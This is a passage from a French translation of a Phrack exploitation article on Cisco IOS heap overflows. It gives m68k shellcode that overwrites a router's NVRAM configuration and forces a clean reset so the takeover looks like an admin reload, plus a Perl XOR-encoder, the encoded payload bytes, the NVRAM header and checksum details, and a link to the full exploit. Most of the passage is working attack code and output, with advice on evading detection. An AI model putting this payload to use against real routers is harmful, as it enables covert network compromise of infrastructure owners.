La troisieme chose est le move factice vers d1. Si le lecteur / la letrice s'en
referait a l'endroit ou nous discutions de l'echange de pointeurs, il / elle 
remarquera qu'il y a une partie "back" [retour en arriere] dans cette operation 
: c'est a dire que l'adresse de la pile est ecrite a notre code plus 20 octets 
(ou 0x14). Donc nous utilisons une operation move qui arrive au code OP de 
0x223c01010101, localise a l'offset 0x12 dans notre code. Apres que l'echange de 
pointeur se soit effecute, la partie 0x01010101 est remplacee par le pointeur - 
qui est ensuite innocemment bouge vers le registre d1 et ignore.


Lorsque ce code a termine l'execution, le code joint auquel on a fait un XOR
et la configuration devraient etre en memoire entierement en text/code. La seule 
chose que nous ayons a faire maintenant est copier la config dans la NVRAM. 
Voici le code approprie pour faire ceci :

--- config_copy.s ---
        .globl  _start
_start:

	| etteinds les interrupteurs
        move.w	#0x2700,%sr;
	move.l	#0x0FF010C2,%a1
	move.w	#0x0001,(%a1)

	| Obtiens la position de la config jointe et l'ecrit avec delay
	lea	config(%pc),%a2
	move.l	#0x0E0002AE,%a1
	move.l	#0x00000001,%d2

copy_confg:
	move.b	(%a2)+,(%a1)+
	| delay loop
	move.l	#0x0000FFFF,%d1
  write_delay:
	  subx	%d2,%d1
	  bmi	write_delay
	cmp.l	#0xCAFEF00D,(%a2)
	bne	copy_confg

	| efface l'ancienne config pour eviter les erreurs de checksum
delete_confg:
	move.w	#0x0000,(%a1)+
	move.l	#0x0000FFFF,%d1
	| delay loop
  write_delay2:
	  subx	%d2,%d1
	  bmi	write_delay2
	cmp.l	#0x0E002000,%a1
	blt	delete_confg

	|  execute le RESET HARDWARE
CPUReset:
        move.w	#0x2700,%sr
        moveal	#0x0FF00000,%a0
        moveal	(%a0),%sp
        moveal	#0x0FF00004,%a0
        moveal	(%a0),%a0
        jmp	(%a0)

config:
--- end config_copy.s ---

Il n'y a pas de magie particuliere a propos de cette par du code. La seule chose 
qui vaut la peine d'etre remarquee est le reset du CPU final. Il y a des raisons
pourquoi nous faisons cela. Si nous crashons juste le routeur, il peut y avoir
des handlers d'exceptions en place pour sauver la pile d'appel et d'autres trucs 
vers la NVRAM. Ceci pourait changer les checksums de maniere imprevisible et 
nous ne voulons pas faire ca. L'autre raison est qu'un reset propre ressemble a 
comme s'il avait ete redemarre par un/une administrateur/administratrice en 
utilisant la commande "reload". Donc nous ne souleverons aucune question malgre 
la configuration completement modifiee ;-)

Le code de config_copy et la config elle-meme doit etre a present encode par XOR 
avec le motif que nous avons utilise dans le code du bootstrap. Donc vous 
voudriez peut-etre mettre le code dans un joli tableau de caracteres pour un 
usage facile dans une programe en C. Pour ceci, votre serviteur utilise un 
script Perl mortellement simple mais efficace :

--- objdump2c.pl ---
#!/usr/bin/perl

$pattern=hex(shift);
$addressline=hex(shift);

while (<STDIN>) {
    chomp;
    if (/[0-9a-f]+:\t/) {
	(undef,$hexcode,$mnemonic)=split(/\t/,$_);
	$hexcode=~s/ //g;
	$hexcode=~s/([0-9a-f]{2})/$1 /g;

	$alc=sprintf("%08X",$addressline);
	$addressline=$addressline+(length($hexcode)/3);

	@bytes=split(/ /,$hexcode);
	$tabnum=4-(length($hexcode)/8);
	$tabs="\t"x$tabnum;
	$hexcode="";
	foreach (@bytes) {
		$_=hex($_);
		$_=$_^$pattern if($pattern);
		$hexcode.=sprintf("\\x%02X",$_);
	}
	print "\t\"".$hexcode."\"".$tabs."//".$mnemonic." (0x".$alc.")\n";
    }
}
--- end objdump2c.pl ---

Vous pouvez utiliser la sortie de objdump et le canaliser dans le script. Si le 
script n'a aucun parametre, il produira la chaine de caractere en C sans
modification. Le premier parametre optionnel sera votre motif XOR et le second 
peut etre l'adresse ou votre tampon est sur le point de resider. Ceci rend le 
debugging du code nettement plus simple parce que vous pouvez vous referrer au
commentaire a la fin de votre chaine de caractere en C pour decouvrir quelle 
commande a rendu le Cisco pas content.

La sortie pour notre petit code config_copy.s avec un XOR de 0xD5 ressemble a 
ceci (reduit pour phrack) :

linux# m68k-aout-objdump -d config_copy.o |
> ./objdump2XORhex.pl 0xD5 0x020F2A24

"\x93\x29\xF2\xD5"              //movew #9984,%sr (0x020F2A24)
"\xF7\xA9\xDA\x25\xC5\x17"      //moveal #267391170,%a1 (0x020F2A28)
"\xE7\x69\xD5\xD4"              //movew #1,%a1@ (0x020F2A2E)
"\x90\x2F\xD5\x87"              //lea %pc@(62 <config>),%a2 (0x020F2A32)
"\xF7\xA9\xDB\xD5\xD7\x7B"      //moveal #234881710,%a1 (0x020F2A36)
"\xA1\xD4"                      //moveq #1,%d2 (0x020F2A3C)
"\xC7\x0F"                      //moveb %a2@+,%a1@+ (0x020F2A3E)
"\xF7\xE9\xD5\xD5\x2A\x2A"      //movel #65535,%d1 (0x020F2A40)
"\x46\x97"                      //subxw %d2,%d1 (0x020F2A46)
"\xBE\xD5\x2A\x29"              //bmiw 22 <write_delay> (0x020F2A48)
"\xD9\x47\x1F\x2B\x25\xD8"      //cmpil #-889262067,%a2@ (0x020F2A4C)
"\xB3\xD5\x2A\x3F"              //bnew 1a <copy_confg> (0x020F2A52)
"\xE7\x29\xD5\xD5"              //movew #0,%a1@+ (0x020F2A56)
"\xF7\xE9\xD5\xD5\x2A\x2A"      //movel #65535,%d1 (0x020F2A5A)
"\x46\x97"                      //subxw %d2,%d1 (0x020F2A60)
"\xBE\xD5\x2A\x29"              //bmiw 3c <write_delay2> (0x020F2A62)
"\x66\x29\xDB\xD5\xF5\xD5"      //cmpal #234889216,%a1 (0x020F2A66)
"\xB8\xD5\x2A\x3D"              //bltw 32 <delete_confg> (0x020F2A6C)
"\x93\x29\xF2\xD5"              //movew #9984,%sr (0x020F2A70)
"\xF5\xA9\xDA\x25\xD5\xD5"      //moveal #267386880,%a0 (0x020F2A74)
"\xFB\x85"                      //moveal %a0@,%sp (0x020F2A7A)
"\xF5\xA9\xDA\x25\xD5\xD1"      //moveal #267386884,%a0 (0x020F2A7C)
"\xF5\x85"                      //moveal %a0@,%a0 (0x020F2A82)
"\x9B\x05"                      //jmp %a0@ (0x020F2A84)

Finalement, il n'y a qu'une seule chose a faire avant que nous puissions
compiler tout ca ensemble : nous devons creer le nouvel en-tete de la NVRAM et
calculer la checksum pour notre nouvelle configuration. L'en-tete NVRAM a la
forme de :

typedef struct {
    u_int16_t       magic;  	// 0xABCD
    u_int16_t       one;	// type probable (1=ACII, 2=gz)
    u_int16_t       checksum;
    u_int16_t       IOSver;
    u_int32_t       unknown;	// 0x00000014
    u_int32_t       cfg_end;	// pointeur vers le premier octet libre
				// dans la memoire apres la config
    u_int32_t       size;
} nvhdr_t;

Evidemment, la plupart des valeurs ici s'expliquent d'elles-memes. Cet en-tete
n'est presque pas autant teste que les structures de la memoire, donc IOS vous 
pardonnera les etranges valeurs dans l'entree cfg_end et autres. Vous pouvez 
choisir la version de IOS, mais votre seviteur recommande d'utiliser quelque 
chose le long des lignes de 0x0B03 (11.3), juste pour s'assurer que cela
fonctionne. Le champ taille couvre seulement le vrai test de config - non 
l'en-tete.
La checksum est calculee sur le tout (en-tete plus config) avec le champ
checksum lui-meme etant mis a zero. C'est un standard de complement de checksum 
comme vous trouvez dans toute implementation IP.

Lorsque vous mettez tout ensemble, vous devriez avoir quelque chose le long des 
ligne de :

 +--------------+
 | AAAAAAAAAAAA |
 ...
 | AAAAAAAAAAAA |
 +--------------+
 |BLOC FALSIFIE |
 |              |
 ....
 +--------------+
 | Bootstrap    |
 |              |
 ....
 +--------------+
 | config_copy  |
 |  motif XOR   |
 ....
 +--------------+
 | en-tete NVRAM|
 | + config     |
 |   motif XOR  |
 ....
 +--------------+


... que vous pouvez a present evoyer au routeur Cisco pour execution. Si tout va 
dans le sens prevu, le routeur se gelera visiblement pendant quelques temps
parce qu'il est en plein dans les boucles lentes de la copy de la NVRAM et ne 
permet pas d'interruption, et devrait ensuite redemarrer proprement et 
gentiement.

Pour garder de la place pour de meilleurs articles, le code complet n'est pas 
inclut ici mais est disponible a 
http://www.phenoelit.de/ultimaratio/UltimaRatioVegas.c . Cela supporte des 
ajustements pour l'offset du code, on avait besoin de NOP et un bloc falsifie 
legerement differant pour les IOS de la serie 11.1 .


--[ Tout ce qui n'a pas ete dit precedemment

Quelques remarques variees qui d'une facon ou d'une autre n'allaient pas dans le 
reste de se texte devraient etre faites, alors elles sont faites ici.

Tout d'abord, si vous trouvez ou connaissez une faille overflow pour IOS 11.x et 
que vous pensez que ce ne vaut pas la peine de l'exploiter depuis que tout le 
monde tourne sous 12.x aujourd'hui, laissez-moi contester ceci. Personne ayant 
de l'experience sur Cisco IOS ne tournera sous la derniere version. Ca ne
fonctionne pas correctement. De plus, beaucoup de monde ne mettent de toute 
facon leurs routeurs a jour. Mais la partie la plus interessante est une chose 
appelee "Helper Image" ou simplement "boot IOS". C'est un mini-IOS carge juste 
apres le moniteur de ROM, qui est normalement un 11.x. Sur les plus petits 
routeurs, c'est une image ROM qui ne peut pas etre facilement mise a jour. Pour 
les plus gros, des gens m'ont assure qu'il n'y a pas de mini-IOS 12.x sorti 
qu'ils mettraient sur un routeur de production majeure. Maintenant, quand le 
Cisco demarre et lance le mini-IOS, il va lire la config et fonctionnera en 
accord avec tant que la fonctionnalite est supportee. Plusieurs le sont - comme 
le serveur TFTP. Ceci donne une fenetre de temps de 3 a 8 seconde a un(e)
attaquant(e) dans laquelle il/elle peut provoquer un overflow sur le IOS, au cas 
ou quelqu'un relance le routeur. Dans le cas ou cela ne va pas, le IOS normal 
boote encore, donc il n'y aura aucune trace d'une quelconque activite hostile.

Le second objet que votre serviteur aimerait signaler est les differantes
choses que l'on peut vouloir explorer pour les attaques par overflow. L'evidente
(utilisee dans cet article comme exemple) est un service tournant sur un routeur
Cisco. Un autre point pour les trucs a overflow-er est les protocoles. Aucun 
engin d'inspection de protocol est un parfait AFAYTK [desole j'ai pas reussi a
traduire ca :( ]. Donc meme si le IOS est juste suppose router les paquets, mais
doit inspecter le contenu pour certaines raisons, vous devriez trouver quelque
chose ici. Et si tout echoue, il y a encore les overflows bases sur du 
debugging. IOS offre une grande quantite de commandes de debugging pour presque
tout. Celles-ci affichent normalement beaucoup d'informations venant directement
des paquets qu'elles recoivent et ne verifient pas toujours le tampon qu'elles 
utilisent pour compiler les chaines de caracteres affichees. Malheureusement,
cela requiert que quelqu'un commence le debugging en premier lieu - mais bon,
ca peut arriver.

Et, finalement, quelques remerciements doivent etre ici. Ceux-ci vont aux 
personnes suivantes sans ordre particulier : Gaus de Cisco PSIRT, Nico de 
Securite.org, Dan de DoxPara.com, Halvar Flake, les trois CCIEs/Cisco wizards 
anonymes auquels votre serviteur ne cesse de poser d'etranges questions et bien 
sur FtR et Mr. V.H., parce que sans leur equipement il n'y aurait a 
parler d'aucune recherche. Des remerciements vont en plus a tous les gens qui
recherches des trucs sur Cisco et auxquels votre serviteur n'a de loin aucune
chance de parler - s'il vous plait prenez contact avec nous.
Le dernier va aux labos de recherche de failles : faites-moi savoir si vous
avez besoin d'aide pour reproduire ceci `;-7


--[ A - References

[1] anonymous <d45a312a@author.phrack.org>
    "Once upon a free()..."
    Phrack Magazine, Volume 0x0b, Issue 0x39, Phile #0x09 of 0x12

[2] Cisco Router IOS Memory Maps
    http://www.cisco.com/warp/public/112/appB.html

[3] GNU binutils
    http://www.gnu.org/software/binutils/binutils.html

[4] Motorola QUICC 68360 CPU Manual
    MC68360UM, Page 6-70


|=[ EOF ]=---------------------------------------------------------------=|


Traduit par [DegenereScience]DecereBrain, le Dimanche 2 Mars 2003, 01:27
Fin de l'article (a partir de bootstrap.s) traduite en ecoutant l'album
"Brother's gonna work it out" des Chemical Brothers. Precision importante.

En reference j'ajouterai peut-etre les articles de la serie "Protection de
l'infrastructure reseau IP" de Nicolas FISBACH de securite.org (d'ailleurs cite
dans les remerciements de cet article) parus dans le magazine MISC, notamment
l'article "L'autopsie de routeurs" parus dans le numero 5 (Janvier/Fevrier 2003).